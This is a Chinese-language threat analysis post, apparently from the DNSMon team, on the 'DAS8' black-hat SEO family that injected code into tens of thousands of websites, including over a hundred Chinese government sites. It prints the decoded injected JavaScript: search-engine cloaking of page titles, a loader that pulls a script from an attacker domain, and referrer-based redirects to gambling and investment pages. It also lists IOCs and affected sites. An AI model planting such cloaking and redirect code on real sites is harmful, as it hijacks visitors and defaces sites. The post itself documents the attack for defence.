黑帽SEO家族--DAS8
<!--kg-card-begin: markdown--><hr>
<blockquote>
<p>DNSMon是一个全网DNS异常发现分析系统。基于我们可以看到的中国地区 10%+ 的DNS流量，加上我们多年积累的其他多维度安全数据以及安全分析能力，我们可以在一个独特的视角来实时监测 全网 每天 正在发生 的事情，我们可以 “看见” 正在发生的威胁。</p>
</blockquote>
<hr>
<h2 id="">摘要</h2>
<p>在过去的4个月内，按照DNSMon的观察，包括104个政府网站在内，全网有超过42000+的网站被一个大型黑帽SEO家族渗透控制并植入了恶意URL链接。这些恶意URL通常将来自搜索引擎的访问层层跳转至流量的最终变现页面，例如网络投资APP（可能存在仿冒）。</p>
<p>值得一提的是，如果用户是在浏览器内输入网址访问这些网页，而非经搜索引擎跳转，那么恶意URL链接可能不会被触发，用户看到的仅是正常页面。通过这种方式，攻击者试图保持被黑网站的老用户的浏览体验，增强自身的隐蔽性。</p>
<p>我们将该SEO家族命名为DAS8，这主要是因为该家族使用邮箱dasheng123123@gmail[.]com注册了上千个域名。除了DAS8以外，我们还观察到了类似的若干家族。考虑到DAS8的感染规模显著超过了其他任何家族，我们认为有必要将DAS8的行为记录下来。</p>
<h2 id="">缘起</h2>
<p>在我们跟踪一些政府网站时发现了一系列奇怪的现象：</p>
<p>1.这些政府网站加载WEB资源时会去请求www.bcdas8[.]com或www.cpdas8[.]com两个域名；<br>
2.两个域名本身并不具备非常高的流行度，也没有ICP备案；<br>
3.两个域名解析的IP:103.94.78.4/103.94.78.39，位于境外同一网段，且不属于CDN、企业等特别持有的IP；<br>
4.两个域名共用一个HTTPS证书，证书SAN中还包括另外7个形如www.*das8*[.]com的域名；<br>
5.两个域名的URL结构存在异常形式，全部为hxxp://*/.{2,6}.js的形式；<br>
6.两个域名由同一个人注册，使用的注册邮箱存在异常注册行为。</p>
<p>这引起了我们的注意，这些正规的政府网站为什么会去请求这组域名？</p>
<h2 id="">案例分析</h2>
<p>任意选择一个产生上述异常的网站，观察其页面源代码。</p>
<p><img src="__GHOST_URL__/content/images/2019/05/sample-html-.jpg" alt="sample-html-" loading="lazy"></p>
<p>发现混淆了部分代码，解码后得到</p>
<pre><code class="language-javascript">title: 北京赛车-北京赛车开奖,北京赛车走势图,北京赛车投注【官方授权平台】
keywords: 北京赛车,北京赛车官网,北京赛车开奖,北京赛车走势图,北京赛车投注,北京赛车网上投注,北京赛车投注平台
description: 北京赛车,北京赛车开奖网【官方网址:XX567.COM】同步北京福彩赛车公司官网开奖,提供北京赛车开奖结果,北京赛车开奖记录,pk10开奖结果直播查询,pk10开奖直播记录查询,北京pk10赛车结果,北京pk10过往各开奖记录,pk10开奖,专业的开奖视频北京pk10网

script1:
if(navigator.userAgent.toLocaleLowerCase().indexOf(&quot;baidu&quot;) == -1){document.title =&quot;xxx人民法院&quot;}

script2:
window['document']['write']('&lt;script type=&quot;text/javascript&quot; src=&quot;https://www.cpdas8.com/cxc.js&quot;&gt;&lt;/script&gt;')
</code></pre>
<p>功能大致为：<br>
1.将网页的关键元素title/keywords/description改为&quot;北京赛车&quot;相关的信息；<br>
2.判断浏览器的user-agent是否包含&quot;baidu&quot;字符串，如果不包含则将网页title修改为&quot;xxx人民法院&quot;；<br>
3.通过加壳的代码加载hxxps://www.cpdas8[.]com/cxc.js处的脚本</p>
<pre><code class="language-javascipt">(function () {
    /*百度推送代码*/
     var bp = document.createElement('script');
     bp.src = '//push.zhanzhang.baidu.com/push.js';
     var s = document.getElementsByTagName(&quot;script&quot;)[0];
     s.parentNode.insertBefore(bp, s);
     /*360推送代码*/
     var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';
     document.write('&lt;script src=&quot;' + src + '&quot; id=&quot;sozz&quot;&gt;&lt;\/script&gt;');
     })();

document.writeln(&quot;&lt;script LANGUAGE=\&quot;Javascript\&quot;&gt;&quot;);
document.writeln(&quot;var s=document.referrer&quot;);
document.writeln(&quot;if(s.indexOf(\&quot;baidu\&quot;)&gt;0 || s.indexOf(\&quot;sogou\&quot;)&gt;0 || s.indexOf(\&quot;soso\&quot;)&gt;0 ||s.indexOf(\&quot;sm\&quot;)&gt;0 ||s.indexOf(\&quot;uc\&quot;)&gt;0 ||s.indexOf(\&quot;bing\&quot;)&gt;0 ||s.indexOf(\&quot;yahoo\&quot;)&gt;0 ||s.indexOf(\&quot;so\&quot;)&gt;0 )&quot;);
document.writeln(&quot;location.href=\&quot;https://2019d2.com\&quot;;&quot;);
document.writeln(&quot;&lt;/script&gt;&quot;);
</code></pre>
<p>hxxps://www.cpdas8[.]com/cxc.js的核心功能大致为：<br>
1.将网页内容主动推送给百度搜索、360搜索，以加速搜索引擎的收录；<br>
2.判断页面referrer中是否包含&quot;baidu&quot;,&quot;so&quot;,&quot;sogou&quot;,&quot;uc&quot;等搜索引擎或浏览器导航页相关的字符串，如果包含则将网页跳转至hxxps://2019c3[.]com/，并经过一系列跳转最终来到hxxps://cxc232[.]com/，一个推广网络投资及其APP的网页。</p>
<p><img src="__GHOST_URL__/content/images/2019/05/cxc.jpg" alt="cxc" loading="lazy"></p>
<p>以上手法是SEO中常见的蜘蛛欺骗技术：<br>
1.攻陷正规网站，并将其页面关键元素修改为利益相关的词汇，如本例中&quot;北京赛车&quot;相关的词汇；<br>
2.正常用户使用浏览器直接访问相关域名时则将title改为原来的&quot;xxx人民法院&quot;，全当无事发生过；<br>
3.搜索引擎的蜘蛛爬取页面时则会将正规网站的页面信息标记为&quot;北京赛车&quot;相关；<br>
4.用户在搜索引擎中搜索&quot;北京赛车&quot;相关的词汇时，便会搜索到这些被攻陷的网站；<br>
5.当用户点击搜索引擎的referrer链接访问被攻陷的网站时，便会被带到其他网站，落入SEO家族的圈套。</p>
<p>分析以上环节可以发现：被攻击的目标网站在搜索引擎中结果越靠前，那么SEO的收益则越大。政府网站具有一定的权威性，在搜索引擎进行排名时会有一定的加权提升，所以能被攻击的政府网站非常受SEO家族青睐。DAS8家族则是我们目前看到的影响政府网站最多的SEO家族。</p>
<h2 id="">深入分析</h2>
<p>分析dasheng123123@gmail[.]com所注册的4000+个域名，主要用于三个用途：<br>
1.黑链域名：受害网站被挂的黑链会直接请求这些域名，来进行下一步的跳转，它们是整个SEO推广的入口，如上文提到的www[.]bcdas8[.]com/www[.]cpdas8[.]com，我们还通过IP、WEB等数据关联出了www[.]dasv8[.]com。<br>
2.中继域名：受害网站收到黑链域名的指令后跳转至中继域名，它们会从一组备选域名中选择用户访问较快的网站进行跳转，对整个跳转链条进行优化，如上文提到的2019c3[.]com。</p>
<pre><code>&lt;script language=&quot;javascript&quot;&gt;
times=1
setInterval(&quot;times++&quot;,100)
b=1
var autourl=new Array() // 检测的站点
autourl[1]=&quot;https://CXC240.COM/?id=10226&quot;
autourl[2]=&quot;https://CXC241.COM/?id=10226&quot;
autourl[3]=&quot;https://CXC242.COM/?id=10226&quot;
autourl[4]=&quot;https://CXC243.COM/?id=10226&quot;
autourl[5]=&quot;https://CXC244.COM/?id=10226&quot;
autourl[6]=&quot;https://CXC245.COM/?id=10226&quot;
autourl[7]=&quot;https://CXC240.COM/?id=10226&quot;
// 判断第一个反应的网站并进行跳转
function auto(url){
        window.location.replace(url);
        b++
}
// 进行故意错误请求并得到反应速度
function run(){
        for(var i=1;i&lt;autourl.length;i++)
        document.write(&quot;&lt;img src=http://&quot;+autourl[i].split(&quot;//&quot;)[1].split(&quot;/&quot;)[0]+&quot;/&quot;+Math.random()+&quot; width=1 height=1 onerror=auto('&quot;+autourl[i]+&quot;')&gt;&quot;)
}
run()
&lt;/script&gt;
</code></pre>
<p>3.推广域名：它们是整个链条的最后一站，承载着实际的WEB网页完成推广，如上文中提到的cxc232[.]com。推广域名的生存周期很短，被注册后，一般仅使用1年甚至更短的时间。</p>
<p>截至本文发布时:<br>
1.部分受影响的网站已经移除了恶意代码，我们在IOC中列出了过去4个月内受到攻击的网站。<br>
2.攻击者在入侵部分网站之后，不再将恶意代码嵌入页面中，而是通过恶意代码污染相关js库的方式来逃避检测。</p>
<p><img src="__GHOST_URL__/content/images/2019/05/new_attack.jpg" alt="new_attack" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2019/05/packed.jpg" alt="packed" loading="lazy"></p>
<p>如果读者是附件列表中网站的管理人员，可以利用下列手段自查：<br>
以chrome为例，在其开发者工具的Sources面板中观察网站加载过程中是否出现相关URL；</p>
<p><img src="__GHOST_URL__/content/images/2019/05/1559291644-1-.jpg" alt="1559291644-1-" loading="lazy"></p>
<p>一旦发现，在Network面板中观察可疑URL的调用过程，最终定位到恶意代码并移除。</p>
<p><img src="__GHOST_URL__/content/images/2019/05/1559292315-1-.jpg" alt="1559292315-1-" loading="lazy"></p>
<h2 id="iocs">IOCs</h2>
<pre><code>domain:
www[.]bcdas8[.]com
www[.]cpdas8[.]com
www[.]dasv8[.]com

whois email:
dasheng123123@gmail[.]com
</code></pre>
<h2 id="">部分受影响网站</h2>
<pre><code>last_seen_timestamp	            FQDN

2019-05-31T07:31:36.000Z	www.hnhxhbj.gov.cn
2019-05-31T07:31:04.000Z	wlj.shishou.gov.cn
2019-05-31T07:26:35.000Z	ttbwg.gszhuanglang.gov.cn
2019-05-31T07:24:59.000Z	stbc.swj.wuhan.gov.cn
2019-05-30T07:37:51.000Z	www.ccad.gov.cn
2019-05-29T07:44:07.000Z	www.gyaj.gov.cn
2019-05-29T07:40:25.000Z	www.jyqfy.gov.cn
2019-05-29T07:29:00.000Z	www.qgqrd.gov.cn
2019-05-29T07:26:55.000Z	www.swfp.gov.cn
2019-05-28T07:46:57.000Z	www.antufy.gov.cn
2019-05-27T07:34:56.000Z	www.jxmj.gov.cn
2019-05-11T16:43:50.000Z	www.bzgqt.gov.cn
2019-05-09T07:32:04.000Z	old.xxrd.gov.cn
2019-05-08T12:25:28.000Z	www.xxrd.gov.cn
2019-05-07T02:34:48.000Z	jkqgwh.cnbz.gov.cn
2019-05-06T13:07:43.000Z	xxgk.baiyangdian.gov.cn
2019-05-04T16:11:34.000Z	www.nxwh.gov.cn
2019-05-04T16:07:58.000Z	whhlyt.nx.gov.cn
2019-05-04T16:07:07.000Z	www.dalisn.gov.cn
2019-05-02T05:24:04.000Z	www.scdj.gov.cn
2019-04-28T10:29:30.000Z	www.idrc.gov.cn
2019-04-27T12:36:11.000Z	www.xywgxj.gov.cn
2019-04-25T13:16:56.000Z	www.xytjj.gov.cn
2019-04-23T07:11:52.000Z	mail.zhengzhou.gov.cn
2019-04-20T07:27:22.000Z	www.lnwdxf.gov.cn
2019-04-19T07:27:37.000Z	wm.ahtxq.gov.cn
2019-04-17T07:19:12.000Z	www.cdnmj.gov.cn
2019-04-16T16:28:40.000Z	www.hgwh.gov.cn
2019-04-16T08:40:16.000Z	dx.ww.gov.cn
2019-04-15T19:30:49.000Z	www.pljcy.gov.cn
2019-04-15T19:23:20.000Z	www.fcgls.gov.cn
2019-04-15T19:21:23.000Z	www.sjzsglj.gov.cn
2019-04-14T19:26:30.000Z	www.jxqsq.gov.cn
2019-04-14T19:23:00.000Z	www.gyfy.gov.cn
2019-04-14T19:02:38.000Z	ynb.nea.gov.cn
2019-04-13T19:14:58.000Z	www.nsjw.gov.cn
2019-04-13T19:02:39.000Z	ghj.pingliang.gov.cn
2019-04-12T19:22:59.000Z	m.zcjjkfq.gov.cn
2019-04-12T19:21:12.000Z	jsjy.nm.jcy.gov.cn
2019-04-11T19:13:38.000Z	www.asmm.gov.cn
2019-04-11T19:07:40.000Z	www.jjtown.gov.cn
2019-04-11T16:46:17.000Z	daj.guilin.gov.cn
2019-04-10T19:28:10.000Z	www.wwzx.gov.cn
2019-04-10T19:15:58.000Z	www.ahqyzx.gov.cn
2019-04-10T19:13:55.000Z	hbafricacenter.llb.chutianyun.gov.cn
2019-04-09T19:28:32.000Z	www.fxrdw.gov.cn
2019-04-09T19:10:25.000Z	jcy.kaiping.gov.cn
2019-04-09T00:24:31.000Z	www.hcjjkfq.gov.cn
2019-04-08T19:27:51.000Z	www.yangchenghu.gov.cn
2019-04-08T19:18:49.000Z	exam.qgqrd.gov.cn
2019-04-08T19:16:54.000Z	zazhi.xysww.gov.cn
2019-04-08T19:15:39.000Z	nyncj.chengde.gov.cn
2019-04-08T19:06:19.000Z	www.xyskx.gov.cn
2019-04-08T02:46:25.000Z	www.lsbb.gov.cn
2019-04-08T01:46:48.000Z	www.xyhcq.gov.cn
2019-04-07T19:11:15.000Z	www.wwrd.gov.cn
2019-04-07T04:50:01.000Z	www.wlqrd.gov.cn
2019-04-06T05:45:12.000Z	www.shfy.gov.cn
2019-04-05T19:36:15.000Z	www.lxdj.gov.cn
2019-04-04T19:21:27.000Z	api.shfy.gov.cn
2019-04-04T19:17:09.000Z	www.gxdb.gov.cn
2019-04-04T03:33:17.000Z	www.ggxfy.gov.cn
2019-04-03T19:27:21.000Z	www.jnzxw.gov.cn
2019-04-03T19:19:28.000Z	www.lslz.gov.cn
2019-04-02T19:57:45.000Z	api.gyfy.gov.cn
2019-04-02T19:56:08.000Z	www.zjksw.gov.cn
2019-04-02T08:26:10.000Z	www.ffwmw.gov.cn
2019-04-02T06:12:27.000Z	www.weishanhu.gov.cn
2019-04-01T20:05:38.000Z	www.jsmg.gov.cn
2019-03-31T19:44:15.000Z	www.shandongipc.gov.cn
2019-03-31T11:07:05.000Z	www.nxdj.gov.cn
2019-03-30T19:11:45.000Z	dxga.zgdx.gov.cn
2019-03-30T19:10:42.000Z	www.ngdzjksw.gov.cn
2019-03-29T19:18:08.000Z	shuju.zglz.gov.cn
2019-03-27T20:05:58.000Z	www.hmsf.gov.cn
2019-03-27T00:28:21.000Z	www.wzcgj.gov.cn
2019-03-26T19:41:07.000Z	www.shdjej.gov.cn
2019-03-26T19:17:28.000Z	www.zglz.gov.cn
2019-03-25T20:05:11.000Z	www.xyjk.gov.cn
2019-03-25T19:21:04.000Z	www.0597.gov.cn
2019-03-25T00:36:55.000Z	www.yglh.gov.cn
2019-03-25T00:28:35.000Z	www.xyjc.gdxy.gov.cn
2019-03-24T19:09:12.000Z	gxs.wuhai.gov.cn
2019-03-21T19:19:37.000Z	www.dbxc.gov.cn
2019-03-20T19:16:51.000Z	zbb.changde.gov.cn
2019-03-20T19:06:52.000Z	zw.lfgy.gov.cn
2019-03-19T06:35:50.000Z	www.lfgy.gov.cn
2019-03-11T16:51:23.941Z	www.nk93.gov.cn
2019-03-10T21:30:35.471Z	www.mczx.gov.cn
2019-03-06T08:53:18.452Z	qsh.qingshuihe.gov.cn
2019-03-04T16:40:57.313Z	www.zwpf.gov.cn
2019-02-27T22:42:19.675Z	www.nmgzxbq.gov.cn
2019-02-27T20:46:28.401Z	www.qingshuihe.gov.cn
2019-02-24T07:25:33.358Z	www.ezga.gov.cn
2019-02-24T01:17:28.044Z	www.xydz.gov.cn
2019-02-21T22:30:35.446Z	www.ygyc.gov.cn
2019-02-19T10:27:59.237Z	www.zgydds.gov.cn
2019-02-17T16:42:46.101Z	www.qjwsj.gov.cn
2019-02-16T23:51:59.194Z	www.ecpi.suzhou.gov.cn
2019-02-12T01:12:43.821Z	www.xtsghj.gov.cn
2019-02-11T23:52:36.268Z	www.wyxrd.gov.cn
2019-02-09T21:28:19.303Z	www.xihua.gov.cn
2019-02-05T00:34:28.682Z	www.jciz.gov.cn
2019-02-02T23:48:39.182Z	www.suqiancity.gov.cn
</code></pre>
<!--kg-card-end: markdown-->






DNSMon是一个全网DNS异常发现分析系统。基于我们可以看到的中国地区 10%+ 的DNS流量，加上我们多年积累的其他多维度安全数据以及安全分析能力，我们可以在一个独特的视角来实时监测 全网 每天 正在发生 的事情，我们可以 “看见” 正在发生的威胁。





摘要


在过去的4个月内，按照DNSMon的观察，包括104个政府网站在内，全网有超过42000+的网站被一个大型黑帽SEO家族渗透控制并植入了恶意URL链接。这些恶意URL通常将来自搜索引擎的访问层层跳转至流量的最终变现页面，例如网络投资APP（可能存在仿冒）。


值得一提的是，如果用户是在浏览器内输入网址访问这些网页，而非经搜索引擎跳转，那么恶意URL链接可能不会被触发，用户看到的仅是正常页面。通过这种方式，攻击者试图保持被黑网站的老用户的浏览体验，增强自身的隐蔽性。


我们将该SEO家族命名为DAS8，这主要是因为该家族使用邮箱dasheng123123@gmail[.]com注册了上千个域名。除了DAS8以外，我们还观察到了类似的若干家族。考虑到DAS8的感染规模显著超过了其他任何家族，我们认为有必要将DAS8的行为记录下来。



缘起


在我们跟踪一些政府网站时发现了一系列奇怪的现象：


1.这些政府网站加载WEB资源时会去请求www.bcdas8[.]com或www.cpdas8[.]com两个域名；

2.两个域名本身并不具备非常高的流行度，也没有ICP备案；

3.两个域名解析的IP:103.94.78.4/103.94.78.39，位于境外同一网段，且不属于CDN、企业等特别持有的IP；

4.两个域名共用一个HTTPS证书，证书SAN中还包括另外7个形如www.*das8*[.]com的域名；

5.两个域名的URL结构存在异常形式，全部为hxxp://*/.{2,6}.js的形式；

6.两个域名由同一个人注册，使用的注册邮箱存在异常注册行为。


这引起了我们的注意，这些正规的政府网站为什么会去请求这组域名？



案例分析


任意选择一个产生上述异常的网站，观察其页面源代码。





发现混淆了部分代码，解码后得到


title: 北京赛车-北京赛车开奖,北京赛车走势图,北京赛车投注【官方授权平台】
keywords: 北京赛车,北京赛车官网,北京赛车开奖,北京赛车走势图,北京赛车投注,北京赛车网上投注,北京赛车投注平台
description: 北京赛车,北京赛车开奖网【官方网址:XX567.COM】同步北京福彩赛车公司官网开奖,提供北京赛车开奖结果,北京赛车开奖记录,pk10开奖结果直播查询,pk10开奖直播记录查询,北京pk10赛车结果,北京pk10过往各开奖记录,pk10开奖,专业的开奖视频北京pk10网

script1:
if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="xxx人民法院"}

script2:
window['document']['write']('<script type="text/javascript" src="https://www.cpdas8.com/cxc.js"></script>')



功能大致为：

1.将网页的关键元素title/keywords/description改为"北京赛车"相关的信息；

2.判断浏览器的user-agent是否包含"baidu"字符串，如果不包含则将网页title修改为"xxx人民法院"；

3.通过加壳的代码加载hxxps://www.cpdas8[.]com/cxc.js处的脚本


(function () {
    /*百度推送代码*/
     var bp = document.createElement('script');
     bp.src = '//push.zhanzhang.baidu.com/push.js';
     var s = document.getElementsByTagName("script")[0];
     s.parentNode.insertBefore(bp, s);
     /*360推送代码*/
     var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';
     document.write('<script src="' + src + '" id="sozz"><\/script>');
     })();

document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://2019d2.com\";");
document.writeln("</script>");



hxxps://www.cpdas8[.]com/cxc.js的核心功能大致为：

1.将网页内容主动推送给百度搜索、360搜索，以加速搜索引擎的收录；

2.判断页面referrer中是否包含"baidu","so","sogou","uc"等搜索引擎或浏览器导航页相关的字符串，如果包含则将网页跳转至hxxps://2019c3[.]com/，并经过一系列跳转最终来到hxxps://cxc232[.]com/，一个推广网络投资及其APP的网页。





以上手法是SEO中常见的蜘蛛欺骗技术：

1.攻陷正规网站，并将其页面关键元素修改为利益相关的词汇，如本例中"北京赛车"相关的词汇；

2.正常用户使用浏览器直接访问相关域名时则将title改为原来的"xxx人民法院"，全当无事发生过；

3.搜索引擎的蜘蛛爬取页面时则会将正规网站的页面信息标记为"北京赛车"相关；

4.用户在搜索引擎中搜索"北京赛车"相关的词汇时，便会搜索到这些被攻陷的网站；

5.当用户点击搜索引擎的referrer链接访问被攻陷的网站时，便会被带到其他网站，落入SEO家族的圈套。


分析以上环节可以发现：被攻击的目标网站在搜索引擎中结果越靠前，那么SEO的收益则越大。政府网站具有一定的权威性，在搜索引擎进行排名时会有一定的加权提升，所以能被攻击的政府网站非常受SEO家族青睐。DAS8家族则是我们目前看到的影响政府网站最多的SEO家族。



深入分析


分析dasheng123123@gmail[.]com所注册的4000+个域名，主要用于三个用途：

1.黑链域名：受害网站被挂的黑链会直接请求这些域名，来进行下一步的跳转，它们是整个SEO推广的入口，如上文提到的www[.]bcdas8[.]com/www[.]cpdas8[.]com，我们还通过IP、WEB等数据关联出了www[.]dasv8[.]com。

2.中继域名：受害网站收到黑链域名的指令后跳转至中继域名，它们会从一组备选域名中选择用户访问较快的网站进行跳转，对整个跳转链条进行优化，如上文提到的2019c3[.]com。


<script language="javascript">
times=1
setInterval("times++",100)
b=1
var autourl=new Array() // 检测的站点
autourl[1]="https://CXC240.COM/?id=10226"
autourl[2]="https://CXC241.COM/?id=10226"
autourl[3]="https://CXC242.COM/?id=10226"
autourl[4]="https://CXC243.COM/?id=10226"
autourl[5]="https://CXC244.COM/?id=10226"
autourl[6]="https://CXC245.COM/?id=10226"
autourl[7]="https://CXC240.COM/?id=10226"
// 判断第一个反应的网站并进行跳转
function auto(url){
        window.location.replace(url);
        b++
}
// 进行故意错误请求并得到反应速度
function run(){
        for(var i=1;i<autourl.length;i++)
        document.write("<img src=http://"+autourl[i].split("//")[1].split("/")[0]+"/"+Math.random()+" width=1 height=1 onerror=auto('"+autourl[i]+"')>")
}
run()
</script>



3.推广域名：它们是整个链条的最后一站，承载着实际的WEB网页完成推广，如上文中提到的cxc232[.]com。推广域名的生存周期很短，被注册后，一般仅使用1年甚至更短的时间。


截至本文发布时:

1.部分受影响的网站已经移除了恶意代码，我们在IOC中列出了过去4个月内受到攻击的网站。

2.攻击者在入侵部分网站之后，不再将恶意代码嵌入页面中，而是通过恶意代码污染相关js库的方式来逃避检测。








如果读者是附件列表中网站的管理人员，可以利用下列手段自查：

以chrome为例，在其开发者工具的Sources面板中观察网站加载过程中是否出现相关URL；





一旦发现，在Network面板中观察可疑URL的调用过程，最终定位到恶意代码并移除。






IOCs


domain:
www[.]bcdas8[.]com
www[.]cpdas8[.]com
www[.]dasv8[.]com

whois email:
dasheng123123@gmail[.]com




部分受影响网站


last_seen_timestamp	            FQDN

2019-05-31T07:31:36.000Z	www.hnhxhbj.gov.cn
2019-05-31T07:31:04.000Z	wlj.shishou.gov.cn
2019-05-31T07:26:35.000Z	ttbwg.gszhuanglang.gov.cn
2019-05-31T07:24:59.000Z	stbc.swj.wuhan.gov.cn
2019-05-30T07:37:51.000Z	www.ccad.gov.cn
2019-05-29T07:44:07.000Z	www.gyaj.gov.cn
2019-05-29T07:40:25.000Z	www.jyqfy.gov.cn
2019-05-29T07:29:00.000Z	www.qgqrd.gov.cn
2019-05-29T07:26:55.000Z	www.swfp.gov.cn
2019-05-28T07:46:57.000Z	www.antufy.gov.cn
2019-05-27T07:34:56.000Z	www.jxmj.gov.cn
2019-05-11T16:43:50.000Z	www.bzgqt.gov.cn
2019-05-09T07:32:04.000Z	old.xxrd.gov.cn
2019-05-08T12:25:28.000Z	www.xxrd.gov.cn
2019-05-07T02:34:48.000Z	jkqgwh.cnbz.gov.cn
2019-05-06T13:07:43.000Z	xxgk.baiyangdian.gov.cn
2019-05-04T16:11:34.000Z	www.nxwh.gov.cn
2019-05-04T16:07:58.000Z	whhlyt.nx.gov.cn
2019-05-04T16:07:07.000Z	www.dalisn.gov.cn
2019-05-02T05:24:04.000Z	www.scdj.gov.cn
2019-04-28T10:29:30.000Z	www.idrc.gov.cn
2019-04-27T12:36:11.000Z	www.xywgxj.gov.cn
2019-04-25T13:16:56.000Z	www.xytjj.gov.cn
2019-04-23T07:11:52.000Z	mail.zhengzhou.gov.cn
2019-04-20T07:27:22.000Z	www.lnwdxf.gov.cn
2019-04-19T07:27:37.000Z	wm.ahtxq.gov.cn
2019-04-17T07:19:12.000Z	www.cdnmj.gov.cn
2019-04-16T16:28:40.000Z	www.hgwh.gov.cn
2019-04-16T08:40:16.000Z	dx.ww.gov.cn
2019-04-15T19:30:49.000Z	www.pljcy.gov.cn
2019-04-15T19:23:20.000Z	www.fcgls.gov.cn
2019-04-15T19:21:23.000Z	www.sjzsglj.gov.cn
2019-04-14T19:26:30.000Z	www.jxqsq.gov.cn
2019-04-14T19:23:00.000Z	www.gyfy.gov.cn
2019-04-14T19:02:38.000Z	ynb.nea.gov.cn
2019-04-13T19:14:58.000Z	www.nsjw.gov.cn
2019-04-13T19:02:39.000Z	ghj.pingliang.gov.cn
2019-04-12T19:22:59.000Z	m.zcjjkfq.gov.cn
2019-04-12T19:21:12.000Z	jsjy.nm.jcy.gov.cn
2019-04-11T19:13:38.000Z	www.asmm.gov.cn
2019-04-11T19:07:40.000Z	www.jjtown.gov.cn
2019-04-11T16:46:17.000Z	daj.guilin.gov.cn
2019-04-10T19:28:10.000Z	www.wwzx.gov.cn
2019-04-10T19:15:58.000Z	www.ahqyzx.gov.cn
2019-04-10T19:13:55.000Z	hbafricacenter.llb.chutianyun.gov.cn
2019-04-09T19:28:32.000Z	www.fxrdw.gov.cn
2019-04-09T19:10:25.000Z	jcy.kaiping.gov.cn
2019-04-09T00:24:31.000Z	www.hcjjkfq.gov.cn
2019-04-08T19:27:51.000Z	www.yangchenghu.gov.cn
2019-04-08T19:18:49.000Z	exam.qgqrd.gov.cn
2019-04-08T19:16:54.000Z	zazhi.xysww.gov.cn
2019-04-08T19:15:39.000Z	nyncj.chengde.gov.cn
2019-04-08T19:06:19.000Z	www.xyskx.gov.cn
2019-04-08T02:46:25.000Z	www.lsbb.gov.cn
2019-04-08T01:46:48.000Z	www.xyhcq.gov.cn
2019-04-07T19:11:15.000Z	www.wwrd.gov.cn
2019-04-07T04:50:01.000Z	www.wlqrd.gov.cn
2019-04-06T05:45:12.000Z	www.shfy.gov.cn
2019-04-05T19:36:15.000Z	www.lxdj.gov.cn
2019-04-04T19:21:27.000Z	api.shfy.gov.cn
2019-04-04T19:17:09.000Z	www.gxdb.gov.cn
2019-04-04T03:33:17.000Z	www.ggxfy.gov.cn
2019-04-03T19:27:21.000Z	www.jnzxw.gov.cn
2019-04-03T19:19:28.000Z	www.lslz.gov.cn
2019-04-02T19:57:45.000Z	api.gyfy.gov.cn
2019-04-02T19:56:08.000Z	www.zjksw.gov.cn
2019-04-02T08:26:10.000Z	www.ffwmw.gov.cn
2019-04-02T06:12:27.000Z	www.weishanhu.gov.cn
2019-04-01T20:05:38.000Z	www.jsmg.gov.cn
2019-03-31T19:44:15.000Z	www.shandongipc.gov.cn
2019-03-31T11:07:05.000Z	www.nxdj.gov.cn
2019-03-30T19:11:45.000Z	dxga.zgdx.gov.cn
2019-03-30T19:10:42.000Z	www.ngdzjksw.gov.cn
2019-03-29T19:18:08.000Z	shuju.zglz.gov.cn
2019-03-27T20:05:58.000Z	www.hmsf.gov.cn
2019-03-27T00:28:21.000Z	www.wzcgj.gov.cn
2019-03-26T19:41:07.000Z	www.shdjej.gov.cn
2019-03-26T19:17:28.000Z	www.zglz.gov.cn
2019-03-25T20:05:11.000Z	www.xyjk.gov.cn
2019-03-25T19:21:04.000Z	www.0597.gov.cn
2019-03-25T00:36:55.000Z	www.yglh.gov.cn
2019-03-25T00:28:35.000Z	www.xyjc.gdxy.gov.cn
2019-03-24T19:09:12.000Z	gxs.wuhai.gov.cn
2019-03-21T19:19:37.000Z	www.dbxc.gov.cn
2019-03-20T19:16:51.000Z	zbb.changde.gov.cn
2019-03-20T19:06:52.000Z	zw.lfgy.gov.cn
2019-03-19T06:35:50.000Z	www.lfgy.gov.cn
2019-03-11T16:51:23.941Z	www.nk93.gov.cn
2019-03-10T21:30:35.471Z	www.mczx.gov.cn
2019-03-06T08:53:18.452Z	qsh.qingshuihe.gov.cn
2019-03-04T16:40:57.313Z	www.zwpf.gov.cn
2019-02-27T22:42:19.675Z	www.nmgzxbq.gov.cn
2019-02-27T20:46:28.401Z	www.qingshuihe.gov.cn
2019-02-24T07:25:33.358Z	www.ezga.gov.cn
2019-02-24T01:17:28.044Z	www.xydz.gov.cn
2019-02-21T22:30:35.446Z	www.ygyc.gov.cn
2019-02-19T10:27:59.237Z	www.zgydds.gov.cn
2019-02-17T16:42:46.101Z	www.qjwsj.gov.cn
2019-02-16T23:51:59.194Z	www.ecpi.suzhou.gov.cn
2019-02-12T01:12:43.821Z	www.xtsghj.gov.cn
2019-02-11T23:52:36.268Z	www.wyxrd.gov.cn
2019-02-09T21:28:19.303Z	www.xihua.gov.cn
2019-02-05T00:34:28.682Z	www.jciz.gov.cn
2019-02-02T23:48:39.182Z	www.suqiancity.gov.cn


